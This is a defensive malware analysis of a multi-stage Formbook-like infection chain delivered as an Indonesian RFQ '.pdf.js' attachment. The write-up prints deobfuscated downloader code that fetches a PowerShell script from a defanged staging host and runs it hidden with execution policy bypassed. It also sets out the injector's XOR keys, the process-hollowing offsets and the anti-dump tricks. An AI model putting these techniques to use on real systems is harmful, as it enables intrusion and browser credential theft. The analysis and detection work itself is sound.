0. Preface
This write-up traces a five-stage chain from an Indonesian-language malspam attachment down to a crypted x86 payload, combining static deobfuscation, an isolated Flare-VM detonation, and a debugger-assisted unpack.
The sample arrives as Penawaran RFQ Terlampir 2026.pdf.js — “Penawaran RFQ”
is Indonesian for RFQ Quotation, and the double extension is the entire
social-engineering play. It is Windows Script Host JavaScript, not a PDF and
not browser JS.
Four of the five stages are fully characterised: the JS downloader, the XOR PowerShell wrapper, the guardian/injector script, and the ConfuserEx .NET process-hollowing injector. The fifth — the final payload — was successfully unpacked from memory (7 functions → 430), and its browser-theft capability is confirmed from recovered code. Its C2 configuration was not recovered; see §11 for exactly where that stalled and why.
Family attribution, up front and with a caveat: every behaviour observed is
consistent with Formbook — aspnet_compiler.exe hollowing, hand-rolled
export-table API resolution, chunked self-decryption, migrate-and-exit. But the
payload’s config block never decrypted, so nothing here proves the family.
Attribution rests on the MalwareBazaar tag plus behavioural match, not on
recovered config or infrastructure. The staging host
hxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1 is confirmed from
the downloader; it was never contacted during analysis.
1. The Threat at a Glance
| Attribute | Assessment |
|---|---|
| Malware type | Malspam attachment → WSH JS downloader → XOR’d PowerShell wrapper → guardian/injector script → .NET RunPE injector → crypted x86 payload |
| Delivery | Email attachment Penawaran RFQ Terlampir 2026.pdf.js (double extension, Indonesian RFQ lure) |
| Family | Formbook (per MalwareBazaar tag + behavioural match; not confirmed from recovered config) |
| Staging host | hxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1 (plain HTTP, no fallback) |
| C2 | Not recovered — config block remains encrypted (see §11) |
| Target | Windows (WSH + PowerShell 5.1 + .NET 4.x; final payload x86) |
| Injection | Classic process hollowing into C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe (signed Microsoft LOLBIN) |
| Persistence | None. Instead: a 5-second watchdog loop that re-injects whenever the hollowed process dies |
| Evasion | obfuscator.io RC4 string arrays; repeating-key XOR; ConfuserEx (invisible-Unicode names, control-flow flattening); pe_to_shellcode conversion; zero import table; hand-rolled export-table API resolution; chunked decrypt-execute-restore anti-dump |
| Capability (recovered) | Browser credential theft — Chrome Local State key store, Firefox profile paths |
| Confidence | High for stages 1–4 (byte-exact, reproduced offline). Medium-high for stage 5 (unpacked and disassembled; config not decrypted) |
2. Infection Chain Overview
| Stage | File | SHA-256 | Role |
|---|---|---|---|
| 1 | Penawaran RFQ Terlampir 2026.pdf.js | 30e5af4d627069f7c7cf541a309bdd30050cf6f21232e6ad2aeeb4210053b8a9 | obfuscator.io WSH downloader; fetches and runs the PS1 |
| 2 | Cryptedk.ps1 | 0040d17d3162b7043d11c1826811cb4bf419bc106a91351a8f0d56b790cdff14 | 1.06 MB hex blob + repeating-key XOR; decrypts to PowerShell, not a PE |
| 3 | stage2_decrypted.ps1 (extracted) | 927186f8bde20c4205ad620dad92b7dbd4a85d4bd797c642ba45c20f321dc2bf | Guardian watchdog loop; carries two embedded PEs |
| 4 | stage3_injector.dll (extracted) | d1fbda51a1d6f8033ce80fa149e612c146030ea14338663b432e1f89480f7d1f | ConfuserEx .NET RunPE injector, KMK.EXECUTE.LAUNCH |
| 5 | stage4_payload.bin (extracted) | c244dc93f8a675b0c0012b07d9f09f89e1d65db87f44ffee9fa04dc57dc711f3 | pe_to_shellcode-wrapped x86 PE, zero imports, entropy 7.967 |
| 5' | unpacked.bin (memory dump) | — | Stage 5 after in-memory self-decryption; 430 functions recovered |
Two nested encryptions and a crypter: the JS hides its URL behind RC4 string arrays, the PS1 hides a whole second script behind XOR, and the payload hides itself behind a chunked self-decrypting crypter. Only stage 2 ever touches disk.
3. Stage 1 — The .pdf.js Downloader
Standard obfuscator.io output: RC4 + Base64 string array, a two-level
string table, split numeric literals (0x2d * -0xa1 + -0x2708 + 0x4355),
proxy-function wrappers, and switch-based control-flow flattening.
Deobfuscation was a four-pass AST rewrite (Babel): load the decoder functions
in isolation and resolve every alias(idx, 'key') call, constant-fold the
arithmetic, inline the proxy objects, then reorder the flattened switches by
their dispatch strings ("3|1|0|2|4", "1|2|0|4|3", "2|1|3|0|4"). The
result is ~60 lines:
function run() {
ensureFolder("C:\\Temp\\"); // FSO.CreateFolder
payload = download(CONFIG.url, 2); // MSXML2.XMLHTTP, sync GET
return dropAndRun(payload, "C:\\Temp\\");
}
function dropAndRun(content, folder) {
var name = Math.random().toString(36).substring(2,10).toUpperCase() + ".ps1";
var fullPath = folder + name; // C:\Temp\K3X9ZQ1A.ps1
fso.CreateTextFile(fullPath, true).Write(content);
shell.Run('powershell.exe -nop -ep bypass -file "' + fullPath + '"', 0, true);
}
Three details worth recording. The retry loop is attempt <= retries with
retries = 2, so it makes three GET attempts, not two. shell.Run(cmd, 0, true) runs hidden and synchronous. And after run() fires on open, the script
leaves this.ScriptAPI = {run, config, reset} in the WSH global — a
getter/setter over the config object that the sample never uses itself,
suggesting a reusable downloader template rather than bespoke code.
There is no persistence, no sandbox check, and no anti-analysis beyond the obfuscator. Plain HTTP, no user-agent tampering, single URL, no fallback.
4. Stage 2 — Cryptedk.ps1
2.26 MB, of which 34,787 lines are a hex blob in a here-string. The wrapper is honest about itself in its own comments (“Multi-stage decryption wrapper with XOR cipher and dynamic execution”).
$script:KeyHex = 'b0aa580db3dba897e91c30ca66be6487e4db0d27baf4dc7b13923b596f7910a8'
1,113,150 bytes of ciphertext, 32-byte repeating-key XOR, [Text.Encoding]::UTF8.GetString.
The plaintext is PowerShell source, not a PE — a point worth stressing,
because decoding the hex and eyeballing the result as a hexdump makes it look
like a failed decrypt. It is executed via [ScriptBlock]::Create($ScriptText),
with a fallback to a fresh runspace + Invoke-Expression if in-process
invocation throws.
That fallback matters more than it looks. The parent sets Set-StrictMode -Version Latest, which is exactly what the next stage trips over.
5. Stage 3 — The Guardian Loop
143 lines, ending in a bare Begin-Guardian call with defaults
-GuardTarget aspnet_compiler -CycleDelay 5:
while ($true) {
if (Query-ProcessAbsence -ProcessAlias $GuardTarget) {
$unmaskedArtifact = Unmask-ProtectedBlob -ProtectedValue $protectedArtifact `
-RecoveryPhrase "THeDevil56@@^"
$routineImage = [Convert]::FromBase64String($unmaskedArtifact)
$targetBinary = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe'
$argumentVector = @($targetBinary, $payloadBytes) # line 121
Activate-AssemblyRoutine -RoutineImage $routineImage `
-NamespacePath 'KMK.EXECUTE' `
-RoutineLabel 'LAUNCH' `
-PayloadArgs $argumentVector
[Byte[]]$payloadBytes = (77,90,69,82,232,0,0,0,...) # line 130
}
Start-Sleep -Seconds $CycleDelay
}
This is not persistence — it is a watchdog. There is no registry key, no
scheduled task, no startup folder entry. Instead the script stays resident and
re-injects within five seconds of the hollowed process dying. Killing
aspnet_compiler.exe accomplishes nothing while the PowerShell parent lives.
The injector is triple-wrapped: Base64 → XOR with the ASCII key
THeDevil56@@^ → Base64 → .NET assembly. The final payload is a plain decimal
byte array beginning 77,90,69,82 — MZER.
5.1 An implementation bug worth knowing
$payloadBytes is consumed at line 121 but not assigned until line 130,
inside the same loop body. PowerShell does not hoist. The consequences differ
by execution path, which is where stage 2’s fallback becomes relevant:
- In-process (
& $block), the parent’sSet-StrictMode -Version Latestapplies, so referencing the unassigned variable throws — which is precisely what triggers the runspace fallback. - In the fresh runspace, StrictMode is not set.
$payloadBytesis simply$null, so the first injection attempt passes a null byte array and fails silently. The assignment then persists in scope, and the second iteration — five seconds later — injects correctly.
Observable artifacts: one failed injection, then a ~5-second gap before the
real one. Detonation matched this, with aspnet_compiler.exe PIDs cycling on
roughly a five-second cadence.
6. Stage 4 — The ConfuserEx RunPE Injector
55,296-byte .NET assembly, KMK.dll, protected with ConfuserEx —
invisible-Unicode identifiers (\u206c\u202a\u202e…), ConfusedByAttribute,
and switch-based control-flow flattening with XOR-computed state
(switch ((num2 = (uint)(num ^ 0x73C05AE6)) % 60)).
Its entire static import surface is two functions:
[DllImport("kernel32", EntryPoint = "LoadLibraryA")]
[DllImport("kernel32", EntryPoint = "GetProcAddress")]
Everything else is resolved at runtime through
Marshal.GetDelegateForFunctionPointer, so the import table reveals nothing
about capability. The flattening survives decompilation, but three constants
give the technique away without reading the state machine:
| Constant | Meaning |
|---|---|
array[41] | CONTEXT.Ebx (x86 offset 0xA4) — PEB pointer |
array[44] | CONTEXT.Eax (x86 offset 0xB0) — entry point to patch |
num8 + 248 | 4 + 20 + 224 — PE signature + COFF header + optional header = first section header |
That is textbook x86 process hollowing: create suspended, read the PEB
image base via Ebx+8, write headers and sections, patch Eax to the new
entry point, SetThreadContext, ResumeThread. LAUNCH(string targetPath, byte[] shellcode) names its second parameter shellcode, which foreshadows
the next stage.
7. Stage 5 — The Crypted Payload, Statically
285,184 bytes, PE32 GUI, and immediately unusual:
00000000: 4d5a 4552 e800 0000 0058 83e8 098b c883 MZER.....X......
00000010: c03c 8b00 03c1 83c0 2803 08ff e190 .<......(.....
4: e8 00 00 00 00 call $+5 ; push EIP
9: 58 pop %eax
a: 83 e8 09 sub $0x9,%eax ; -> image base
d: 8b c8 mov %eax,%ecx
f: 83 c0 3c add $0x3c,%eax ; e_lfanew
12: 8b 00 mov (%eax),%eax
14: 03 c1 add %ecx,%eax ; -> NT headers
16: 83 c0 28 add $0x28,%eax ; -> AddressOfEntryPoint
19: 03 08 add (%eax),%ecx
1b: ff e1 jmp *%ecx
A 25-byte position-independent stub overwriting the DOS header — hasherezade’s
pe_to_shellcode (pe2shc). The buffer is directly executable as shellcode,
which is why stage 3 passes it as $shellcode.
Everything else is consistent with that conversion: a single flat-mapped
.text (PointerToRawData == VirtualAddress == 0x1000), all sixteen data
directories zeroed — no imports, exports, relocations, or TLS — and overall
entropy 7.967.
DllCharacteristics = 0x8140 sets DYNAMIC_BASE, but with no relocation
directory the loader has nothing to relocate, so it lands on its preferred
base in practice. (In the debugger it loaded at 0xA50000, not 0x400000 —
verify the base before trusting any absolute address below.)
kuna finds only 7 functions in 280 KB, and an entropy map says why:
| Range (RVA) | Entropy | Content |
|---|---|---|
0x0000–0x0FFF | 0.53 | headers + pe2shc stub |
0x1000–0x26FF | 5.9–6.8 | real code — the crypter |
0x2710 | — | entry point |
0x3000–0x45A00 | ~7.95 | encrypted body, ~270 KB |
Five of the seven functions are CRT primitives (strlen, wcslen, memcpy,
memset, and a 113-byte struct copy). The crypter is one function:
sub_4010F0, 5,504 bytes.
7.1 The dispatcher
sub_4010F0 is a recursive dispatcher. Callers write a one-byte opcode to
ctx+0x34B, call it, and the callee matches that against 21 guards of the
shape:
if ((ctx[0x132] ^ 0xE9D0B756) == ctx[0xD6]) { ... }
if ((ctx[0x132] ^ 0x3A2ABFA0) == ctx[0x4C1]) { ... }
It locates its own context by scanning the stack for the marker dword
0x05DE25AC (planted by the entry stub), then ctx = found_address - 0x353.
7.2 API resolution without an import table
Guard 0xA9C9D9B0 walks export directories by hand:
v72 = base + exportDirRVA; // NT header + 0x78 = DataDirectory[0]
v38 = base + [v72+0x20]; // AddressOfNames
v40 = base + [v72+0x24]; // AddressOfNameOrdinals
v36 = base + [v72+0x1C]; // AddressOfFunctions
for (i = 0; i < [v72+0x18]; i++) { // NumberOfNames
compare name[i] against ctx[0x4A1];
if (matched) ctx[0x35C] = base + [v36 + word[v40+i*2]*4];
}
The comparison (guard 0x00EF0D98) is deliberately obfuscated: a
case-insensitive compare whose range bounds are themselves XOR-masked
(ctx[0x357]^0x0C, ctx[0xA9]^0x4F, ctx[0x58]^0x5E, ctx[0x48C]^0x9F,
ctx[0x301]^0x3A), so no API name and no character-range constant appears in
plaintext. A hardware write-breakpoint on ctx+0x35C logs every resolved API
without waiting for the unpack to finish.
7.3 The anti-dump mechanism
This is the part that defeats memory-dump tooling:
401C77 call 4026E0 ; memset(scratch, 0, 0x71)
401C91 call 4026B0 ; memcpy(save, chunk, 0x71) <- SAVE original
401CA7 rep movsl ; 0x1C dwords = 112-byte stub OVER chunk head
401CAC mov 0x364(%edx),%eax
401CB2 call *%eax ; <- EXECUTE the chunk
401CC6 call 4026B0 ; memcpy(chunk, save, 0x71) <- RESTORE
401CCE jmp 401C28 ; next chunk
The 112-byte stub is itself XOR-0x0C-decrypted at 0x401BEC immediately
before the loop. Chunk size is ctx[0x102] = 0x5900; the count comes from
ctx[0x22D] and was 11 at runtime.
The payload only ever exists decrypted one 22 KB chunk at a time, and the original bytes are written back before the next iteration. Any whole-image dump taken outside that window is ciphertext.
Control finally transfers at:
401DC4 mov 0x211(%ecx),%edx ; allocated base of decrypted payload
401DCA add $0x2DDE0,%edx ; + OEP offset
401DDC call *%eax ; real payload OEP
8. Dynamic Analysis — Flare-VM Detonation
Detonated in VirtualBox Flare-VM with all eight vNICs set to none,
clipboard and drag-and-drop disabled, and no shared folders. Isolation was
verified from inside the guest before the sample was staged:
Get-NetAdapter -> OpenVPN Wintun / DCO / TAP-Windows6 only, all Disconnected
Get-NetIPAddress -> 169.254.x.x APIPA only, RoutableIPs = 0
Get-NetRoute 0.0.0.0/0 -> DefaultRoutes = 0
[Net.Dns]::GetHostAddresses("google.com") -> DNS_FAILED
TcpClient 1.1.1.1:53 -> TCP_FAILED
Samples were transferred over the VirtualBox guest-control channel (hypervisor
RPC), never a network. surun[.]info was never contacted.
8.1 Hollowing confirmed
hollows_hunter in loop mode caught successive hollowed instances. pe-sieve’s
report for one:
"main_image_path" : "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe",
"is_pe_replaced" : 1, "dos_hdr_modified" : 1, "file_hdr_modified" : 1,
"nt_hdr_modified" : 1, "ep_modified" : 1, "sec_hdr_modified" : 1,
"is_connected_to_peb" : 1,
"sections_count" : 1, "module_size" : "46000"
sections_count = 1 and module_size = 0x46000 match stage 5 exactly.
8.2 What the dumps did and did not give
Every whole-image dump came back at entropy ~7.95 — identical to the on-disk packed file, same 69 strings. That is the §7.3 restore loop working as designed, confirmed empirically before it was understood statically.
One dump was different: a 16 KB region at entropy 3.046, with an IAT
resolving NtAllocateVirtualMemory, NtDelayExecution, and LdrLoadDll —
the loader stub, decrypted. A 32-bit ntdll (wntdll.pdb) was also flagged
as modified.
8.3 Execution shape
Run directly, stage4.exe exits with code 0 after roughly one second,
having spawned a second instance of itself; that second instance lives ~15
seconds. An elevated system-wide scan flagged 19 processes but found no clean
migration target — the remainder were Edge/.NET JIT false positives and
ImageMagick’s convert.exe with large image buffers.
Practical note: an unelevated scan reached only 10 of ~40 processes for lack
of SeDebugPrivilege, and guestcontrol runs outside the interactive session,
so elevation had to be driven from the desktop session itself.
9. Unpacking in x32dbg
The static analysis reduces to two breakpoints. With the image at 0xA50000
(ASLR relocated it, +0x650000 from the preferred base):
| RVA | Purpose |
|---|---|
0x1CB2 | chunk decrypt/execute — fires 11 times, EAX = chunk address |
0x1DDC | final transfer — EAX = OEP of the unpacked payload |
At 0x1DDC, mem.base(eax) / mem.size(eax) give the allocation bounds
directly:
[chunk 0] addr=597551 size=0x5900 ... 11 chunks, stride 0x5900 ...
[+] OEP = 5BFA31
[+] region base = 590000
[+] region size = 46000
[+] OEP RVA = 2FA31
The OEP RVA reads 0x2FA31 from the allocation base but 0x2DDE0 from
ctx[0x211] — the two references differ by exactly 0x1C51, a constant that
appears literally in the crypter (v30 = 0x1c51). Verify:
0x5BFA31 − 0x2DDE0 = 0x591C51 = ctx[0x211], and 0x591C51 − 0x590000 = 0x1C51. Dumping from the allocation base is the better choice — it
includes the 0x1C51 header the other reference would truncate.
10. The Unpacked Payload
The dump is headerless — no MZ at base, so Scylla cannot rebuild it.
Wrapping it in synthetic PE headers (ImageBase 0x580000, one section at
0x590000, EP 0x5BFA31) makes it loadable, and kuna goes from 7 functions
to 430.
Entropy drops 7.967 → 7.618. The OEP is a thin wrapper into a trampoline table:
5BFA31 push ebp
5BFA34 sub esp,0x64
5BFA37 call 5BE061 ; real main
5BFA3F ret
5BFA40 e8 00 00 00 00 ; call $+5 \
5BFA45 58 ; pop eax | repeating indirect-dispatch stubs
5BFA46 c3 ; ret |
5BFA47 e9 ... ; jmp target /
10.1 Strings are code, not data
strings on the unpacked image still returns nothing useful, because the
strings are built inline as immediates:
5ade43 movl $0x690046,-0x14(%ebp) ; "Fi"
5ade4a movl $0x650072,-0x10(%ebp) ; "re"
5ade51 movl $0x6f0066,-0x0c(%ebp) ; "fo"
5ade58 movl $0x5c0078,-0x08(%ebp) ; "x\"
Recovering them requires grouping mov $imm, disp(reg) stores by function and
stack displacement, then decoding the reassembled runs as ASCII and UTF-16LE.
Fifteen came back:
| String | Encoding | Function |
|---|---|---|
Firefox\ | UTF-16 | sub_5ADDF1 |
PATH | UTF-16 | sub_5ADDF1 |
Local State | UTF-16 | sub_5B6901 |
Chrome | UTF-16 | sub_5ADAC1 |
Firefox | UTF-16 | sub_5AE031 |
Program Files / ProgramFiles | UTF-16 | sub_5AE031 / sub_5A8A91 |
\explorer.exe | UTF-16 | sub_5A16C1 |
.exe / .zip | UTF-16 | sub_5A8A91 / sub_5B60A1 |
urlmon.dll | ASCII | sub_5B60A1 |
en-US,en | ASCII | sub_594011 |
FALSE / H(K%)X / -2871807_2 | ASCII | — |
Local State is Chrome’s encrypted-key store and Firefox\ its profile path.
Browser credential theft is confirmed from recovered code, not inferred
from the family label.
11. Where This Stalled — The Config Block
The C2 configuration was not recovered. It sits at RVA 0x30000–0x44000
of the unpacked image (VA 0x5C0000–0x5D4000, ~80 KB) at entropy 7.977,
and three findings bound the problem:
- It is inside the chunk-decrypted range (
RVA 0x7551–0x44851), so it is deliberately encrypted data, not unprocessed padding. - There are zero absolute references to it across all 430 functions — it is reached only through computed pointers.
- Entropy 7.977 sustained over 80 KB indicates a stream cipher, not repeating-key XOR. There is no statistical attack, and no key is statically recoverable.
Scanning every dump collected during detonation for URL and domain patterns
produced only ntdll’s own Microsoft strings. The block decrypts on demand,
after the breakpoint at which the image was captured.
The step that would close this: a hardware breakpoint on access at
payload_base + 0x30000. Whatever fires is the config decryptor, with key
material live in registers or on the stack; stepping past its loop and dumping
+0x30000–+0x44000 yields the list. Formbook-family configs are typically a
mix of decoy domains and one or two live ones, so expect 15–60 entries
requiring triage.
12. Indicators of Compromise
Files
| SHA-256 | Name |
|---|---|
30e5af4d627069f7c7cf541a309bdd30050cf6f21232e6ad2aeeb4210053b8a9 | Penawaran RFQ Terlampir 2026.pdf.js |
0040d17d3162b7043d11c1826811cb4bf419bc106a91351a8f0d56b790cdff14 | Cryptedk.ps1 |
927186f8bde20c4205ad620dad92b7dbd4a85d4bd797c642ba45c20f321dc2bf | stage 3 guardian script (extracted) |
d1fbda51a1d6f8033ce80fa149e612c146030ea14338663b432e1f89480f7d1f | KMK.dll injector (extracted) |
c244dc93f8a675b0c0012b07d9f09f89e1d65db87f44ffee9fa04dc57dc711f3 | stage 5 crypted payload (extracted) |
Network
hxxp://surun[.]info/nh1ykmf/qagxfjr/wxtrdlm/Cryptedk.ps1
Plain HTTP, no fallback, no second URL anywhere in the chain.
Host
C:\Temp\<8 random base36 chars, uppercased>.ps1
powershell.exe -nop -ep bypass -file "C:\Temp\*.ps1"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe (hollowed)
Keys and constants
| Value | Use |
|---|---|
b0aa580db3dba897e91c30ca66be6487e4db0d27baf4dc7b13923b596f7910a8 | stage 2 XOR key (32 bytes) |
THeDevil56@@^ | stage 3 injector XOR key (ASCII) |
0x0C | stage 5 chunk-stub XOR |
0x05DE25AC | stage 5 stack-context marker dword |
KMK.EXECUTE.LAUNCH | injector entry point |
0x5900 / 11 | chunk size / chunk count |
13. Detection Opportunities
- Process tree:
wscript.exe→powershell.exe→aspnet_compiler.exe.aspnet_compiler.exehas no legitimate reason to be spawned by PowerShell outside a build context. - The watchdog cadence is the strongest behavioural signal.
aspnet_compiler.exerespawning on a ~5-second interval, preceded by one failed injection, is specific to the §5.1 ordering bug. - Script engine writing
*.ps1toC:\Temp\with an 8-character uppercase base36 name. powershell.exe -nop -ep bypass -filepointed atC:\Temp\.- A long-lived
powershell.exeholding a 5-second polling loop overGet-Process. - Plain-HTTP GET for a
.ps1from a script host — trivially greppable in proxy logs, as the chain does no user-agent tampering. aspnet_compiler.exewith a single-section image and a modified entry point (pe-sieve/hollows_hunteris_pe_replaced).
14. MITRE ATT&CK
| Tactic | Technique |
|---|---|
| Initial Access | T1566.001 Phishing: Spearphishing Attachment (Indonesian RFQ lure, .pdf.js double extension) |
| Execution | T1059.007 JavaScript (WSH); T1059.001 PowerShell; T1204.002 User Execution: Malicious File |
| Defense Evasion | T1027 Obfuscated Files or Information (obfuscator.io RC4 arrays, XOR layers, ConfuserEx); T1027.007 Dynamic API Resolution (hand-rolled export walk, zero import table); T1140 Deobfuscate/Decode Files or Information; T1055.012 Process Hollowing; T1036.005 Masquerading: Match Legitimate Name or Location (aspnet_compiler.exe); T1218 Signed Binary Proxy Execution (.NET Framework LOLBIN); T1497 Virtualization/Sandbox Evasion (chunked decrypt-restore defeats memory dumping; not a VM check) |
| Persistence | None observed — replaced by a resident watchdog loop |
| Credential Access | T1555.003 Credentials from Web Browsers (Chrome Local State, Firefox profile paths — recovered from code) |
| Command and Control | T1105 Ingress Tool Transfer (HTTP GET of the PS1); T1071.001 Web Protocols |
15. Confidence and Gaps
Traced and verified end-to-end: JS deobfuscation (AST-rewritten, all 42
string-decoder call sites resolved, zero unresolved); stage 2 XOR (key
recovered, decrypted offline, byte-exact); stage 3 extraction of both PEs
(Base64/XOR/Base64 reproduced offline, both MZ-verified); injector technique
(CONTEXT offsets and section-header arithmetic, corroborated by pe-sieve’s
is_pe_replaced and matching module_size at runtime); pe2shc identification
(stub disassembled instruction by instruction); crypter mechanics (dispatcher,
export walk, chunk loop — all confirmed against the live run, including the
11-chunk count and 0x5900 stride); the unpack itself (OEP verified as a valid
function prologue, 430 functions recovered).
Identified but not exhaustively reversed: the remaining 17 of 21 dispatcher guards; the trampoline table’s full target set; which of the 430 functions implement exfiltration as opposed to collection.
Still open:
- C2 unknown. The config block is located and bounded but not decrypted (§11). This is the single largest gap, and it is what keeps family attribution behavioural rather than confirmed.
- Family attribution is not proven. Every TTP matches Formbook, but with no recovered config or infrastructure, this rests on the MalwareBazaar tag plus behavioural similarity. Treat “Formbook” here as a well-supported label, not a verified one.
- Exfiltration unobserved. Detonation was air-gapped by design, so no network behaviour was seen. The recovered browser-theft strings establish intent; they do not establish protocol.
- Staging host uncontacted.
surun[.]infowas never reached, so whether it still servesCryptedk.ps1— and whether it serves the same bytes — is unknown.